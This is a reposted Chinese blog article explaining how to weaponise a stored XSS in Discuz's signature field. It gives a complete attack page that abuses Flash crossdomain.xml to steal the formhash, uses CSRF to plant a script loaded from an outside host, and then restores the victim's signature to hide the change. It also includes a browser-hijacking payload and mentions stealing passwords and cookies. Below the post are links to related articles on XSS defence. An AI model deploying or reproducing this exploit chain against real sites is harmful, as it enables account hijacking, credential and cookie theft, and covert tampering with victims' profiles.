discuz xss 0day利用方法

简介:

 发一下去年利用discuz鸡肋xss的一个思路和具体代码。

discuz x系列以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交</textarea><script>alert(1)</script>,就能执行脚本。

这个XSS的利用场景比较特殊,必须在个人资料设置页里才能触发,也就是只有自己才能看到自己发的XSS ~ = =!

以往这样的鸡肋要真正在渗透中实战利用起来几乎不可能,但是我们结合其他途径就可以把鸡肋变成宝贝,下面我就说下攻击流程:

 被攻击者点击帖子中的链接,打开我们的攻击网页触发攻击~

1.通过FLASH跨域请求获取formhash和被攻击者的个人签名。

所有的DISCUZ程序都在根目录下放了一个crossdomain.xml,允许任意网站的FLASH发起请求获取页面内容,那么我们可以很轻易地获取formhash。

 

2.构造一个自动提交表单,IFRAME这个表单,然后CSRF修改个人签名加入XSS代码。

CSRF要成功,需要formhash构造完整的参数提交。

 

 

3.攻击代码生效,反向劫持被攻击者的浏览器,在帖子页注入一个脚本运行,然后钓鱼,偷密码,偷COOKIE什么的就自行发挥了。

 

 

 

4.最后还原被攻击者的签名,因为个人签名里的内容会在帖子里显示,并不能执行脚本,很容易被人发现异常,所以需要还原被攻击者的签名。

 

攻击代码:

使用了flxhr,这个库可以方便FLASH跨域获取网页内容,并且可以和javascript交互,当然还有其他强大的功能。http://www.flensed.com/code/releases/flXHR-1.0.5.zip

使用了luoluo的jspayloadlib,两年前luoluo写的可以很方便xss和csrf的攻击库,精致小巧更适合实战。http://jspayloadlib.googlecode.com/svn/trunk/src/org/ph4nt0m/net/formSendData.js

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
 <script language="Javascript" type="text/javascript" src="flXHR.js"></script>
<script language="Javascript" type="text/javascript" src="formSendData.js"></script>

<script language="Javascript" type="text/javascript"> 
<!--
crossdomain_xml = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/crossdomain.xml" //crossdomain.xml地址
Attack_url = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/memcp.php?action=profile&typeid=2" // 个人资料设置页地址
 
var flproxy = new flensed.flXHR({ autoUpdatePlayer:true, instanceId:"myproxy1", xmlResponseText:false, onerror:handleError, onreadystatechange:handleLoading, loadPolicyURL: crossdomain_xml, noCacheHeader: false });

function doit() {
 flproxy.open("GET",Attack_url);
 var request = " ";
 flproxy.send(request);
}
 
function handleLoading(XHRobj) {
 if (XHRobj.readyState == 4) {
   //alert(XHRobj.responseText)
   HTMLcode = XHRobj.responseText;
   hash_start = HTMLcode.search(/formhash/);
   signature_re = /textarea.*?signaturemessage.*?>(.*)<\/textarea/.exec(HTMLcode);    //获取个人签名的内容
   scode = RegExp.$1;  
   

 if( hash_start > -1 ){
   

    formhash = HTMLcode.substr(hash_start+9,8); // formhash是8个字符串加数字,取“formhash=”9个字符串后8个字节就是formhash。
    //alert(formhash);
    
    formSendData("post", Attack_url , {
     "formhash" : formhash,
     "signaturenew" : "</textarea><script src=http://test.com/h.js></script>",
     "editsubmit" : "1"
    }, 1000); //加入浏览器劫持代码。
    
    formSendData("post", Attack_url , {
     "formhash" : formhash,
     "signaturenew" : scode,
     "editsubmit" : "1"
    }, 5000); //延时五秒CSRF还原个人签名
    
   } 
 }
}
 function handleError(errObj) {}
-->
</script>
 </head>
 <body>

 <input type="button" value="Click Me" onClick="doit();" />
 </body>

</html>

PS:

h.js的内容

window.parent.opener.location="javascript:alert('I had been hijacking your browser!');void(0)"

好多人问怎么反向劫持注入脚本到帖子页的,以前的文档写过http://secinn.appspot.com/pstzine/read?issue=3&articleid=5,因为IFRAME的个人资料设置页和帖子页是同源的网页,所以可以通过window.parent.opener跨框架反向注入JS到同源的帖子页。












本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/481000,如需转载请自行联系原作者

相关文章
|
1月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
94 3
|
移动开发 安全 JavaScript
XSS绕过安全狗方法【持续更新】
XSS绕过安全狗方法【持续更新】
417 0
|
SQL 安全 PHP
有效防护XSS,sql注射,代码执行,文件包含等多种高危漏洞方法
有效防护XSS,sql注射,代码执行,文件包含等多种高危漏洞方法
113 0
|
安全 内存技术 JavaScript
通过伪造内网网站绕过弹出窗口屏蔽、XSS过滤器以及Navigate方法
本文讲的是通过伪造内网网站绕过弹出窗口屏蔽、XSS过滤器以及Navigate方法,原来的问题是无域网页(即具有空的document.domains的url)可以访问到任何文档来源的DOM,所以微软对他们添加一个随机域(GUID)进行修补。
2341 0
|
JavaScript
让XSS攻击来得更猛烈些吧——一种新型的绕过XSS防御的方法
让XSS攻击来得更猛烈些吧                                             一种新型的绕过XSS防御的方法     大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。
1146 0
|
1月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
99 49
|
5月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
91 4
|
1月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
73 2
|
1月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
40 0